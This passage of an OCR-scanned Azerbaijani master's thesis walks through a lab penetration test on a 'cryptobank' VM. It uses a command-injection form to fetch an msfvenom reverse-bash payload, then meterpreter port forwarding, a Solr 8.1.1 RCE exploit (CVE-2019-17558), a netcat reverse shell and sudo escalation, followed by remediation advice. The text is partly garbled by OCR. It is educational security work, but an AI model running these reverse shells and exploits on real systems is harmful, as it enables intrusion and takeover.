oldo etmok vaxtidir. Bunun iiciin , on sado variant “msfvenom” omri ilo shell
yaratmaqdir.

“Msfvenom” - faydali yiiklorin yaradilmasi iiclin istifado olunan Metasploit
Framework-do ¢ox yonlii bir vasitodir. Bu faydali yiiklor niifuz testi, istismarin inkisafi
vo xiisusi gabiq kodunun yaradilmasi daxil olmaqgla miixtalif mogsadlor {igiin istifado
edilo bilar.

omri igo salmazdan 6nco , “ifconfig” omri ilo 6z masimimizin ip- Unvanina baxib,

sonra lazimi1 amri terminala daxil edirik.

/home/kali

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.37.170 netmask 255.255.255.0 broadcast 192.168.37.255
inet6 fe80::20c:29ff:fee@:8806 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:e0:88:06 txqueuelen 1000 (Ethernet)
RX packets 3140083 bytes 2638998520 (2.4 GiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 2325676 bytes 607517330 (579.3 MiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
X packets 2201 bytes 1387721 (1.3 MiB)
X errors @ dropped @ overruns @ frame 0
packets 2201 bytes 1387721 (1.3 MiB)
X errors ® dropped @ overruns @ carrier @ collisions @

Sok. 3.2.2. Kali masinin IP iinvan1 (Aytac Ibrahimova, 2024)

° msfvenom  -p  cmd/unix/reverse_bash  |host=192.168.37.170
Iport=9999 R echo [payload] revshell.sh

msfvenom 9999-cu portda 192.168.37.170 IP tinvanina qosulmagq ii¢iin konfiqurasiya
edilmis Bash tors gabiq yiikii yaradir.
/home/kali

f ) cmd/unix/reverse_bash 1host=192.168.37.170 lport=9999 R echo payload] revshell.sh
[-] No platform was selected, choosing Msf ::Module::Platform::Unix from the payload

[-]1 No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 73 bytes

Sok. 3.2.3. Faydal yiikiin (shell) yaradilmas1 (Aytac Ibrahimova, 2024)

Yaratdigimiz shell -1 sistema yiikloyirik.

° wget http://192.168.37.170:9999/revshell.sh
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“Wget” - internetdon fayllar yiiklomok {i¢iin istifado olunan bir komanda xatti
yardim proqramudir.

<« > C @ O A o+ 192.168.37.111/developme “ommandExecution/Commant 1

@ image.jpg

Kali Linux #& Kali Tools « KaliDocs X KaliForums e\ Kali NetHunter

Exploit-DB Google Hacking DB OffSec

‘:Home Pagé‘ Main Pagé

Auth to execute system command

Username:
waget http://192.168.37.111:80(|
Password:

Submit |

Sok. 3.2.4. Faydal yiikiin hodaf masina yiiklonmosi (Aytac Ibrahimova, 2024)

Fayl1 yiikloys bildiyimizi yoxlayaq. Kataloq siyahis1t omrindon istifads edorak
yoxlayirig.

Home Page Main Page

Auth to execute system command

Username:

ls

Password:

Submit

CommandExec.php commandexec.h
Sok. 3.2.5. Qars1 torafa yiiklonan faydali yiik (shell) (Aytac Ibrahimova, 2024)

Sokildon do goriindiiyli kimi , yaratdigimiz fayl ugurla yiiklonmisdir. Novbati

morholods Msfconsole omrini terminalda iso saliriq.

Msfconsole-un isladilmasi Metasploit Framework-iin komanda xatti interfeysini

159 salir. Metasploit, tohliikasizlik miitoxassislarinag tohliikasizlik qiymatlondirmalarini
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hoyata kecirmoyo, inkisafdan istifado etmoyo vo zoiflik arasdirmalarina komok edon

moshur agiq monbali niifuz testi ¢orgivosidir

Asagida yazilan omrlor ilo , dinlomo prosesini basladaq:

° use exploit /multi/handler
° set payload cmd/unix/reverse _bash
° set lhost eth0

° set Iport 9999

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload cmd/unix/reverse_bash
payload = cmd/unix/reverse_bash
msf6 exploit( ) > set lhost eth@
lhost = ethe
msf6 exploit( ) > set lport 9999

lport = 9999
msf6 exploit( ) > options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Sok. 3.2.6. Dinlomo prosesi (Aytac Ibrahimova, 2024)

Revshell.sh -i iso salmaq tigiin asagidaki omri yaziriq.

° bash revshell.sh

« 2 C @ O A o 192.168.37.11/development/tools/Cc dExecution/Commanc £ @ & 9

@ image.jpg Kali Linux # Kali Tools ¢ KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB % Google HackingDB " OffSec

| Home Page || Main Pagi\

Auth to execute system command

Username:

‘Pash revshell.sh ‘
Password:
esssscceee |

| Submit

Sok. 3.2.7. Faydal yiikiin iso salinmas1 (Aytac ibrahimova, 2024)

Dinloma prosesi hazir vaziyyatds oldugu tigiin exploit va ya run amri ilo

dinlomoni baslada bilarik.
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) » exploit

ted 1 CP handler on 19 70:9999

ind s sion 1 opened (1
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9999 — 192.168.37.111:47384) at 2024-05-11 11:06:26 -0400

Sok. 3.2.8. Komand shell sessiya (Aytac Ibrahimova, 2024)

Virtual masin tizorindo daha ¢ox nazarat aldo etmok ti¢iin aldigimiz shell-i

meterpreter seansina ¢evirdik. Meterpreter seansini oldo etdikdon sonra totbigdo

daxili olaraq isloyon hor hansi digor xidmatlori vo ya niimunolori tapmagq ii¢iin

netstat-1 igo saldiq.

meterpreter > 1s
Listing: /var/www/cryptobank/development/tools/CommandExecution

Mode Type

100777/ rwXrwxrwx 3 fil
100777/ TwWwXTwWXTWX 5 fil
100644 /rw-r—1— fil

meterpreter > netstat -antp

Connection list

Local address

.111:47384
.111:41554

.168.37.111:80

:53

Last modified
2020-04-10 16:23:52 -0400

2020-04-10 16:23:00 -0400
2024-05-11 10:52:26 -0400

Remote address

37.170:9999

0:
0:
0:
0:
8.
8.37.170:4433

Name
CommandExec.php
commandexec.html
revshell.sh

State

LISTEN
LISTEN
LISTEN
LISTEN
ESTABLISHED
ESTABLISHED
LISTEN
LISTEN

:192.168.37.170:36646 ESTABLISHED

a, 2024)

Inode PID/Program name

(SRR RS R R R~ R~ R R R )

“Netstat” Linux, macOS vo Unix-o bonzor omoaliyyat sistemlorindo soboka ilo

bagli molumati gostormok liclin istifado edilon komanda xatti alstidir. O, soboko

olagolori, marsrutlasdirma cadvallori hagqinda malumat verir.

Biz goririik ki, 8983 portunda isloyon bir niimuns var. Bu, adston docker

niimunasi kimi goriiniir.

“Docker”- tortibat¢ilara proqramlari konteynerlordo qurmaga, paketlomoyo,

yaymaga vo 1o salmaga imkan veron proqram platformasidir. Konteynerlor sizo

programin biitiin asililiglari ilo bir vahidds paketlonmasine imkan verir ki, bu da onun

miuxtolif miihitlords ardicil islomasini tomin edir.
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Docker niimunasina diizgiin nozar salmagq tliclin 8983 portundan golon trafiki yerli
maginimiz olan Kali Linux-a tiirmok va ya yonlondirmak {i¢iin “portfwd” omrindon

istifada edirik. (Oz brauzerimizds , bu ip iinvanini goro bilmak iigiin )

. portfwd add -1 8983 -p 8983 -r 172.17.0.1

meterpreter > portfwd add -1 8983 -p 8983 -r 172.17.0.1
Forward TCP relay created: (local) :8983 — (remote) 172.17.0.1:8983

meterpreter > l1s
Listing: /var/www/cryptobank/development/tools/CommandExecution

Sok. 3.2.10. Port yonlondirilmasi (Aytac Ibrahimova, 2024)

Indi bu docker niimunosindo isloyan xidmoto mnozor salaq. Trafiki
yonlondirdiyimiz portla olagoli asagidaki tinvandan istifado edorok veb brauzerimizdo

niimunoani nozordon keciririk.

° http://127.0.0.1:8983/

Qeyd: Local host ip tinvanm 127.0.0.1 oldugu {i¢iin ip tinvanini bels geyd edirik.

“ C @ O D 127.0.0.1:8983/solr/#/ e @ & 9

@ image.jpg Kali Linux # KaliTools ¢ KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSeq

S [ "’,’é = Instance System 0.970.75 0.66 )
O r 5 Start about 2 hours ago Physical Memory  95.9%
Dashboard : .
L %] Versions
(3 Logging 1.87GB
% solr-spec 8.1.1 1.95 GB

& Core Admin solr-impl 8.1.1 fcbed6c28cef11bc058779afba09521de1b19bef wap Space  0.3%

Java Properties & lucene-sp8dl.1

= Thread Dump lucene-im@l1.1 fcbe46c28cefl1bc058779afba09521de1b19bef

- 5.51 MB

Sok. 3.2.11. Miivafiq IP iinvaninin brauzerds agilmasi (Aytac Ibrahimova, 2024)
Bu Apache Solr - du. Ac¢iq monboli miiossiso axtaris platformasidir. Ilkin
miisahidodon malum olur ki, bu interfeys kohnadir. Bu o demakdir ki, virtual masinda
qurasdirilmis versiya hassas ola bilor. Sokildon do gériindiiyii kimi , Solr 8.1.1

versiyasinda islayir.


http://127.0.0.1:8983/
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Bu versiyaya uygun hor hansi birbasa istismar {li¢lin searchspolit-do solr axtaririq.
“Searchsploit” - tohliikesizlik istismarlarinin vo hassas proqram tominatinin
populyar olan Istismar Verilonlor Bazasini (exploit-db.com) axtarmagq iigiin istifado

olunan komanda xatti yardim proqramudir.

° searchsploit solr

/home/kali

solr

Exploit Title

t)
xecution

Sok. 3.2.12. Versiyaya osaslanan exploit (Aytac Ibrahimova, 2024)
Sokildon do goriiriik ki, Apache Solr 8.2.0 versiyasina aid uzaqdan kod icrasi
istismarimiz var. Bizim li¢lin ac¢ilan Apache Solr a¢iq monbali platformada i1so 8.1.1
versiyast idi. Bu versiya daha kohno oldugu {i¢iin , 8.2.0 versiyasina uygun golon

uzaqdan kod icras1 8.1.1 versiyasi tiglinds kegorlidir demokdir.

° searchsploit -m 47572

/home/kali
3T 47572
Exploit: Apache Solr 8.2.0 - Remote Code Execution
URL: https://vwww.exploit-db.com/exploits/47572

Path: /usr/share/exploitdb/exploits/java/webapps/47572.py
Codes: CVE-2019-17558
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/47572.py

Sok. 3.2.13. Python faylmmn yiiklonmosi (Aytac Ibrahimova, 2024)

Istismar yiiklodikdon onun icras1 {igiin miioyyan bir sintaksis olmalidir. Homin
sintaksisi bilmok tliclin “python 47572.py”" yazaraq bize lazim olan sintaksisi goriiriik
ki, bu faydal yiikiin icrasi ii¢lin , port default olaraq igo salinir , yalniz local host -un

1p invanini yazmagq kifayat edir.

° python3 47572.py 127.0.0.1
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/home/kali
47572.py 127.0.0.1
0S Realese: Linux, 0S Version: 4.15.0-96-generic
if remote exec failed, you should change your command with right os platform

Init node cryptobank Successfully, exec command=whoami
RCE Successfully @Apache Solr node cryptobank
solr

Sok. 3.2.14. Zararli python faylmin iso salinmas1 (Aytac Ibrahimova, 2024)

Biz bu zararli python faylini 6z masinimiza yiiklomisik , novbati morhalads bu

faydali yiikii meterpreter-o slavo etmaliyik.

° Cd /tmp

° Upload home/kali/47572.py

£ in Stmp

£ in Stmp
z et > upload /fhom 37
Uploading : /home \ 572.py
ed -1.00 B of ¢ : /home/kali/47572.py — 47572.py

Size Type Last modified Name

100644/ Tw-r—r— 6586 fil 2024-85-11 11:22:25 -0488 47572.py

Sok. 3.2.15. Hodof sistemo zorali faylin yiiklonmosi (Aytac Ibrahimova, 2024)

Beloliklo, biz meterpreter qabigina gayitdiq, /tmp qovluguna kecdik, ¢iinki bu,
yegana yazila bilon kataloqdur. Biz faydali ytikii bu qovluga yiiklayirik.

Indi 6z masmimiza gayidaq, istismardan yaranacaq qabig dinlomok iigiin netcat
dinloyicisini iso salag. 7654 portunda netcat dinloyicisini iso saldig(Netcat — ilo

dinloms zamani istonilon port ilo dinlomoayo almaq olar).
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“Netcat” - uzaqdan idaraetmo vo omrlorin icrasina imkan veran uzaq hostda gabiq

sessiyasini agmagq liciin istifado edilo bilor.

° nc -lvp 7654

/home/kali

-lvp 7654
listening on [any] 7654

Sok. 3.2.16. Dinloma prosesi (Aytac Ibrahimova, 2024)

Sonra meterpreter- do shell omrini 1go salib, interaktiv shell almaq tiglin miivafiq

omri yaziriq:
° shell

° python3 -c¢ ‘import pty; pty.spawn(“/bin/bash”)’

c "import pty; pty.spawn("/bin/bash"}"
wmw-datagicryptobank: /tmp§ 1s
1s

47572 .py

Sok. 3.2.17. Interaktiv shell (Aytac ibrahimova, 2024)

Bundan sonra , python skriptini (46573.py) icra etmays calisiriq. 192.168.37.170
vo 7654 portuna yenidon qosulmaq li¢iin Netcat (nc) istifads edorak oks gabiq omrini

yerina yetirmakla Apache Solr (port 8983) zaifliyindan istifads etmayas calisiriq.

° python3 47572.py 172.17.0.1 8983 “nc -e /bin/bash 192.168.37.170
7654

www-datagcryptobank:/tmp$ python3 47572.py 172.17.0.1 8983 "nc -e /bin/bash 192.168.37.170 7654"
<2.17.0.1 8983 "nc -e /bin/bash 192.168.37.170 7654"
0S Realese: Linux, 0S Version: 4.15.0-96-generic

if remote exec failed, you should change your command with right os platform

Init node cryptobank Successfully, exec command=nc -e /bin/bash 192.168.37.170 7654
RCE failed @Apache Solr node cryptobank

Sok. 3.2.18 Python skripti ilo dinlomo prosesinin basladilmasi (Aytac Ibrahimova,
2024)
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Ugurlu notico oldo etdiyimizo goro , netcat-do shell ala bilirik. Yeno do

interaktiv(qalici) shell almaq G¢tin
° python3 -c¢ ‘import pty; pty.spawn(*“/bin/bash™)’ omrini iso saliriq.

Shome/kali

host lookup failed: Unknown host
7] from (UNMENOWMN) [192.168.37.111] 35664

solr-webapp
% sudo -1

1856e61@5F ¢

a86e6l1@5f : fopt/solr/server$|| sudo su

rer# s

Sok. 3.2.19. Salahiyyatlarin yiiksaldilmasi (Aytac ibrahimova, 2024)

Sokilda , “sudo -I” amrini ig9 saldigimiz1 goriiriik.

“sudo -1” 159 saldiginiz zaman o, adaton bizdon parolumuzu daxil etmayi toklif
edocak (agor parolsuz sudo konfiqurasiya olunmayibsa) vo sonra o, istifado¢i hesabiniz
ticin sudo konfiqurasiyasini1 gostoracok.

Sonra , root istifadagiyo kegmok tigiin, sudo su omrini ¢aligdiririq. Sifro olaraq,

“root”, “admin”, “kal1”, “user” , “password” kimi default sifrolor ugursuz natico verir.

Son olaraq “solr” sifrosini istifado etdim. Vo artiq root istifadogisino asanligla kego
bilirik.
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Sistemdos root istifadogi oldugdan sonra , burdan oldo etdiyimiz fayllarin vo ya
molumatlarin neco istifado olunmasi niifuzetmo testini aparan soxsin toxoyyiiliino

osaslanir.

3.3 Niifuzetma testlori auditinin naticasind asasan tadbirlor

Ko6hnolmis program tominati, yanlis konfiqurasiyalar vo ya molum zoifliklor kimi
imumi tohliikasizlik zaifliklorini miioyyon etmok {iglin miivafiq audit prosesi
aparilmigdir. Root istifadogi solahiyyoting yiiksolmok niifuzetma testlorinin noticosinin
ugurlu olmasinin on asas siibutlarindandir.

[1k olaraq giris poncerasindo vaxta osaslanan SQL inyeksiya hiicumlarinimn riskini
azaltmaq ii¢iin parametrlosdirilmis sorgulardan istifado etmok lazimdir. Istifadogi
daxiletmosini birbasa SQL sorgularina birlosdirmok ovozino parametrlosdirilmis
sorgulardan istifads edilmalidir ki, burada istifada¢i girisi icra edils bilon kod deyil,
molumat kimi gobul etsin. Vo ya malum SQL inyeksiya hiicum niimunslari vo zorarli
faydal1 yiiklor ticiin daxil olan HTTP/HTTPS sorgularini yoxlaya va filtrloys bilon veb
totbiqi tohliikasizlik divarmi(WAF) yerlogdirmok lazimdir. WAF-lar zororli trafikin
qarsisint almaga vo SQL inyeksiya hiicumlarina garst slavo miidafia gatini tomin
etmoya komok eds bilar.

Qeyd: SQL inyeksiya ilo ¢ixardigimiz accounts codvalindos istifadogi sifralorinin
hash soklinds saxlanilmamas1 da bir bosluq sayilir. Miitlaqdir ki, verilonlor bazasinda
istifadoci sifralori hash vo ya hash ilo birlikds salt doyarlori soklindo saxlanilmalidir ki,
homin sifro alo kegirilso belos istifadosi miimkiin olmasin.

Gizli qovluglarin dirsearch kimi alatlarls tapmasinin garsisini almagq tigiin icazasiz
girisi mohdudlasdirmaq vo hossas qovluglart gizlotmok {i¢iin do bozi tohliikesizlik
todbirlorinin hoyata kecirilmasi vacibdir. Veb server parametrlorini konfiqurasiya
etmakls va ya tohliikasizlik modullarindan/pluginlarindon istifads etmoklo qovluglarin
siyahiya alinmasina qarsi qorumalar1 hoyata kegirmok olar. Masolon, kataloq adlarini
aciglayan xtisusi xota mesajlarim1 togdim etmok ovozino, movcud olmayan kataloglar
liclin iimumi xota mesaji (mosalon, 404 Tapilmadi) qaytarmaq Ucun veb serveri

konfiqurasiya etmok miimkiindiir. Vo ya yalniz solahiyyatli istifadogilorin vo ya
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rollarin xiisusi qovluglara daxil ola bilmasini tomin etmok ii¢iin miivafiq fayl sistemi
icazolori, autentifikasiya mexanizmlori vo giriso nozarst siyahilarindan istifads
edilmolidir.

Novboti olarag , Komand inyeksiya ilo bagli zoifliklorin qarsisinin alinmasi
programin Icaza verilon girislori vo ya amrlori agiq sokildo miioyyan etmok vo qalan
har seyi radd etmoak tigiin ag siyahidan (whitelist-don)istifado olunmalidir. Whitelist
qobul edilon giris vo omrlorin ohato dairosini mohdudlagdirmagla hiicum sothini
azaltmaga komok edir. ©lavo olaraq , qabigin(shell) icrasin1 deaktiv etmok lazimdir:
miimkiin oldugda totbiq vo ya xidmoat hesablar1 {i¢iin gqabiq icrasin1 vo qabiq girisini
sondiirmak vo ya mohdudlasdirmaq, zaruri olmadiqda, sistem omrlorini vo ya shell
torclimagilorini birbasa program daxilindon ¢agirmagin miimkiin olmamasini tomin
etmok lazimdir.

Son olarag Apache Solr-in kéhnolmis versiyalarindan vo ya hor hansi program
tominatindan istifado tohliikosizlik risklori yarada bilor. Apache Solr-in koéhno
versiyasindan istifads il bagli tohliikasizlik problemlarinin qarsisini almagq ti¢iin onu
on son stabil versiyaya yenilomok lazimdir. Daha yeni versiyalara tez-tez tohliikosizlik
yamalari(patch), sohv diizalislori vo performans tokmillagdirmalori daxildir. ©On son
buraxiliglar ti¢clin Apache Solr veb-saytini vo ya rosmi depolarin1 yoxlayib

qurasdirmani miivafiq olaraq tokminlosdirmok olar
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NOTICO
Magistr dissertasiya mévzusu olagodar todqgiqatlarin analizi ilo baglamis, qarsiya

qoyulmus bir ne¢o mosalo istiqgamotindo todqiqatlar aparilmagla asagidaki noticolorlo

yekunlagmigdir:

- Agill1 sohor konsepsiyasinin arxitektur-texnoloji prinsiplori aragdirilmais;
- Agill1 sohor miihitinds olan kritik infrastrukturlar tohlil olunmus;

- Kritik infrastrukturlar1 ohato edon miimkiin hiicum ssenarilori, tohdidlori vo

bosluqlar gostorilmis;

- Kritik infrastrukturlara olan hiicumlarin, tohdidlorin garsisinin alinmasi {i¢iin

todbirlor, mexanizmlor islonmis;

- Niifuzetmo testlori ilo kritik informasiya strukturunda miixtolif konfidensial

molumatlarin alds edilmasinin eksperimenti aparilmais;

- Komand inyeksiyadan istifado edorak sistemda seans aldo edilmasi {iglin

praktiki is aparilmigdir;

- Niifuzetma testlori auditinin naticasina asason goriilocok tadbirlar gostarilmisdir.
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